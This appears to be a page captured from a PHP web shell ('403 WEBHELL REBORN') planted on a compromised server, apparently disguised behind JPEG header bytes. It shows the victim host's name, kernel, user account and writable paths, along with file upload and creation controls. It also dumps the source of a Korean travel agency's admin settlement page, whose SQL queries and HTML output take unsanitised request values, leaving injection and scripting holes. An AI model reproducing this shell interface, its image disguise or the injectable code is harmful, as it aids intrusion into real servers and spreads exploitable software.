ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/cal_good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/cal_good/good_date_cal.html
<?
include "../include/top.html";
include "_common.html";

//  행사,여행예약 정산 클래스
$classGoodResEvCal = new GoodResEvCal();

if(!$d_start_s1) $d_start_s1 = date("Y-m-")."01"; // 기간 검색
if(!$d_start_s2) $d_start_s2 = date("Y-m-d",strtotime(" +4 month")); // 기간 검색

// 상품구분
$tab_arr = TO_good_module("good");


//테이블명
$table = "date";

// 검색 설정
$sql_where = "  ";
if ( $d_start_s1 and $d_start_s2 ) $sql_where .= " and d_start between '{$d_start_s1}' and '{$d_start_s2}'  ";// 출발일
if ( $d_title_s ) $sql_where .= " and d_title like '%{$d_title_s}%' ";// 행사명
if ( $tab_s ) $sql_where .= " and tab = '{$tab_s}' ";
if ( $b_uid_s ) $sql_where .= " and b_uid='{$b_uid_s}' ";
if ( $m_uid_s ) $sql_where .= " and m_uid='{$m_uid_s}' ";
$sql_where .= " and d_uid in(select ev_uid as d_uid from TB_RES_GOOD where /*res_stat_cd<>'D' and*/ ev_start >= '{$d_start_s1}' and ev_start<='{$d_start_s2}') "; // 예약이 있는 항목


// 정산 Flag
if($acct_final=="Y") $sql_where .= " and acct_final='{$acct_final}' "; 
else $sql_where .= " and acct_final!='Y' "; 

$sql = "
	select count(*) as total from
		(select d_uid,g_uid,d_title,dtid,d_start,d_end,d_people1,acct_final from `date` where 1) a
		LEFT JOIN (select g_uid,tab,b_uid,m_uid,s_uid,g_title from good where 1 ) b
		on a.g_uid=b.g_uid 
		where 1 {$sql_where}
";

$row = db_fetch($sql);
$total = $row[total];

// 페이지수 설정
if (!$page) $page = 1; // 페이지 번호
$line = 50; // 보여줄 갯수
$list = 10; // 블럭 갯수
$total_page = ceil($total / $line); // 총페이지
if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1
if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈
$total_list = intval($total_page / $list);
if ($total_page % $list == 0) $total_list--;
$curr_list = intval($page / $list);
if ($page % $list == 0) $curr_list--;
$start_page = $curr_list * $list + 1;
$prev_list = $start_page - $list;
$next_list = $start_page + $list;
$olds = $line * ($page - 1);

// 정렬 설정
$sql_order="";

// limit 
$limit = " $olds , $line ";


//배열에 저장
$data = array();
$data = date_list("","none",$sql_where,$sql_order,$limit);

if($acct_final=="Y") $title="정산";
else $title="가정산";
?>

	<div class="contents_wrap">
	<div class="contents_wrap_in">
		<div class="title"><strong><?php echo $title;?></strong></div>
		<div class="contents_detail">

			<!-- 폼 -->
			<form name="frm_search" id="frm_search" method="get">
			<INPUT TYPE="hidden" NAME="acct_final" value="<?=$acct_final?>">
			<div class="c_top_bar">
				<ul class="c_top_search">
					<li>
						<select name="tab_s" id="tab_s" onchange="ajax_loader('../res_good/good_selbox_ajax.html?SqlType=mc','ajax_search_mc');ajax_loader('../res_good/good_selbox_ajax.html?SqlType=bc&tour='+this.value,'ajax_search_bc',false);">
							<option value="">==상품구분==</option>
							<?
								for($i=0 ; $i < count($tab_arr) ; $i++){
									$arr = $tab_arr[$i];
							?>
							<option value="<?=$arr['code']?>" <?=($arr['code']==$tab_s)?"selected":""?>><?=$arr['code']?> | <?=$arr['name']?></option>
						<?}?>
						</select>
					</li>
					<li>
						<label for="d_start_s1" class="txt">출발일</label> 
						<input type="text" name="d_start_s1" class="cal_input" value="<?=$d_start_s1?>" onclick="AjaxCal(this,event);"> ~ 
						<input type="text" name="d_start_s2" class="cal_input" value="<?=$d_start_s2?>" onclick="AjaxCal(this,event);">
					</li>
					<li class="pl10">
						<label for="d_title_s" class="txt">행사명</label> <input class="search_box" id="d_title_s" name="d_title_s" value="<?=$d_title_s?>" type="text" /><input type="image" src="../image/btn/btn_search.gif" align="top" alt="검색" class="input_btn_search" />
					</li>
				</ul>
			</div>
			</form>
			<!-- /폼 -->

			<div id="Content_box">
				<div class="product_res">
				<!-- 폼 -->
				<h2 class="mt30">행사목록</h2>
					<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_list">
					<colgroup>
						<col style=" width:35px" />
						<col />
						<col style=" width:80px" />
						<col style=" width:80px" />
						<col style=" width:80px" />
						<col style=" width:80px" />
						<col style=" width:80px" />
						<col style=" width:80px" />
						<col style=" width:80px" />
						<col style=" width:50px" />
						<col style=" width:35px" />
						<col style=" width:<?=($acct_final=="Y") ? "80":"150"?>px" />
					</colgroup>
					<thead>
						<tr>
						<th>No.</th>
						<th>행사명</th>
						<th>출발일</th>
						<th>총판매액</th>
						<th>총입금액</th>
						<th>지출(직접경비)</th>
						<th>알선수익</th>
						<th>알선수수료</th>
						<th>총수익</th>
						<th>예약건</th>
						<th>인원</th>
						<th>-</th>
					</tr>
					</thead>
					<tbody>
					<?
					// 합계 금액 리셋
					$gnd_sales			= 0 ;
					$gnd_pay			= 0 ;
					$gnd_exes			= 0 ;
					$gnd_comm			= 0 ;
					$gnd_incom			= 0 ;
					$gnd_d_people2		= 0 ;
					$gnd_d_people1		= 0 ;
					for($i=0 ; $i < count($data) ; $i++){
						$row = $data[$i];
						$num = $total - ($page - 1) * $line - $i;

						// 정산정보
						//$acc_data = acc_good_date($row['d_uid']);
						$acc_data = $classGoodResEvCal->to_paper_acc_report($row['d_uid']);

						// 예약정보
						$data_res = res_good_master(" and ev_uid='{$row[d_uid]}' and res_stat_cd='C' ");
						$tot_inwon = 0 ; // 총인원
						$tot_sales = 0; // 총판매액
						$tot_pay = 0 ;// 총입금액
						$tot_pre = 0 ;// 총미입금액
						for($s=0 ; $s<count($data_res) ; $s++)
						{
							$arr_t = $data_res[$s];
							//$tot_inwon	+= $arr_t['inwon'];
							$tot_sales		+= $arr_t['sales_total']; // 판매액
							$tot_pay		+= $arr_t['account']['pay_money']; // 입금액
							//$tot_pre		+= $arr_t['account']['pre_money']; // 미입금액
						}

						// 합계
						$gnd_sales			+= $acc_data['총판매액'];
						$gnd_pay			+= $acc_data['총입금액'];
						$gnd_exes			+= $acc_data['총지출액'] ;
						$gnd_alsun			+= $acc_data['알선수익'] ;
						$gnd_comm			+= $acc_data['알선수수료'] ;
						$gnd_incom			+= $acc_data['총수익'] ;
						$gnd_data_res		+= count($data_res) ; // 예약인원
						$gnd_d_people1		+= $row['d_people1'] ; // 인원

						// 정산서 결제항목 정보
						$row_cal = to_paper_cal($row['d_uid']);
			
					?>
					<tr id="d_title_<?=$row['d_uid']?>">
						<td><?=$num?></td>
						<td class="t_title"><a href="javascript:;" title="<?=$row['d_title']?>" onclick="ajax_post('ajax_res_list','good_date_cal_res.html?g_uid=<?=$row['g_uid']?>&d_uid=<?=$row['d_uid']?>');scrollFast('ajax_res_list', 100);"><?=$row['d_title']?></a></td><!-- 행사명 -->
						<td><?=$row['d_start2']?></td>
						<td class="txt_r ls-1"><?=number_format($acc_data['총판매액'])?></td><!-- 판매액 -->
						<td class="txt_r ls-1"><?=number_format($acc_data['총입금액'])?></td><!-- 입금액 -->
						<td class="txt_r ls-1"><?=number_format($acc_data['총지출액'])?></td><!-- 총비용 -->
						<td class="txt_r ls-1"><?=number_format($acc_data['알선수익'])?></td><!-- 알선수익 -->
						<td class="txt_r ls-1"><?=number_format($acc_data['알선수수료'])?></td><!-- 수수료수익 -->
						<td class="txt_r ls-1"><?=number_format($acc_data['총수익'])?></td><!-- 총수익 -->
						<td><?=count($data_res)?></td><!-- 예약건 -->
						<td><span style="<?if($row['d_people1']>0)echo "font-weight:bold;color:#0033FF;";?>"><?=$row['d_people1']?></span></td><!-- 인원 -->
						<td class="txt_c">
						<?if($row['acct_final']=="Y"){ // 정산확정?>
							<?if($row_cal['idx']) {?>
								<input type='button' class="Table_btn" value='정&nbsp;산&nbsp;서' onclick="WinOpen('paper_good_cal_report.html?d_uid=<?=$row['d_uid']?>&acct_final=Y','정산서',800,700,'yes')">
							<?}else{?>
								<input type='button' class="Table_btn" value='정&nbsp;산&nbsp;서' onclick="WinOpen('paper_good_cal_reg.html?d_uid=<?=$row['d_uid']?>','정산서',800,800,'yes');">
							<?}?>
						<?}else{ // 가정산?>
							<input type='button' class="Table_btn" value='가정산'  onclick="to_dialog.iframe('good_date_cal_edit.html?g_uid=<?=$row['g_uid']?>&d_uid=<?=$row['d_uid']?>','행사정산 - <?=$row['d_title']?>','1200','800',true,true,'yes');" title="행사정산 - <?=$row['d_title']?>">
							<?if($row_cal['idx']) {?>
								<input type='button' class="Table_btn" value='가정산서' onclick="WinOpen('paper_good_cal_report.html?d_uid=<?=$row['d_uid']?>','정산서',800,700,'yes')">
							<?}else{?>
								<input type='button' class="Table_btn" value='가정산서' onclick="WinOpen('paper_good_cal_reg.html?d_uid=<?=$row['d_uid']?>','정산서',800,800,'yes');">
							<?}?>
							<input type='button' class="Table_btn red" value='확정'  onclick="acct_final('<?=$row['d_uid']?>');" title="정산확정">
						<?}?>
						</td><!-- 정산 -->
					</tr>
					<?
						}
					?>

					<tr class="total_gray">
						<td colspan="3">계</td>
						<td class="txt_r ls-1"><?=number_format($gnd_sales)?></td><!-- 판매액 계-->
						<td class="txt_r ls-1"><?=number_format($gnd_pay)?></td><!-- 입금액 계-->
						<td class="txt_r ls-1"><?=number_format($gnd_exes)?></td><!-- 비용 계-->
						<td class="txt_r ls-1"><?=number_format($gnd_alsun)?></td><!-- 알선수익 계-->
						<td class="txt_r ls-1"><?=number_format($gnd_comm)?></td><!-- 수수료수익 계-->
						<td class="txt_r ls-1"><?=number_format($gnd_incom)?></td><!-- 총수익 계-->
						<td><?=number_format($gnd_data_res)?></td><!-- 예약건 계-->
						<td><?=number_format($gnd_d_people1)?></td><!-- 인원 계-->
						<td colspan="2"></td>
					</tr>
					</tbody>
					</table>

					<?
						echo adm_get_paging($total_page, $page, $list, "?$nhref&page=", "");
					?>
				</div>

				<div class="mt20">
					<!-- 폼 -->
					<h2>예약목록</h2>
					<div id="ajax_res_list">
						<table border="0" cellspacing="0" cellpadding="0" width="100%" class="t_list">
						<colgroup>
							<col style=" width:35px" />
							<col style=" width:80px" />
							<col style=" width:60px" />
							<col style=" width:100px" />
							<col style=" width:35px" />
							<col />
							<col style=" width:100px" />
							<col style=" width:100px" />
							<col style=" width:80px" />
							<col style=" width:80px" />
							<col style=" width:60px" />
							<col style=" width:50px" />
						</colgroup>
						<thead>
						<tr>
							<th>No.</th>
							<th>예약접수일</th>
							<th>진행전달</th>
							<th>예약자</th>
							<th>인원</th>
							<th>상품명/행사명</th>
							<th>출발일/출발편</th>
							<th>도착일/도착편</th>
							<th>판매액</th>
							<th>미납액</th>
							<th>담당자</th>
							<th>-</th>
						</tr>
					</thead>
					</table>
				</div>
				<!-- /폼 -->

			</div>
		</div>
	</div>
	</div>
</div>
<script type="text/javascript">

// 정산확정
function acct_final(d_uid) {
	if ( !confirm('정산확정하시겠습니까?\n정산확정 이후에는 수정(추가) 불가합니다.') ) return;

	ajax_post('ajax_proc','good_date_cal_proc.html?SqlType=acct_final_updt&d_uid='+d_uid);
}

$(".mouse_over").bind({
	mouseover:function(e){ $(this).css({"background-color":"#D7D7D7","cursor":"pointer"}); },
	mouseout:function(e){ $(this).css("background-color","#FFFFFF"); }
});

window.onload=function() {
	ajax_loader('good_selbox_ajax.html?SqlType=bc&tour=<?=$tab_s?>&b_uid_s=<?=$b_uid_s?>','ajax_search_bc');
	ajax_loader('good_selbox_ajax.html?SqlType=mc&b_uid_s=<?=$b_uid_s?>&m_uid_s=<?=$m_uid_s?>','ajax_search_mc');
}

$(document).ready(function(){

});
</script>
<? include "../include/footer.html" ?>


Anon7 - 2021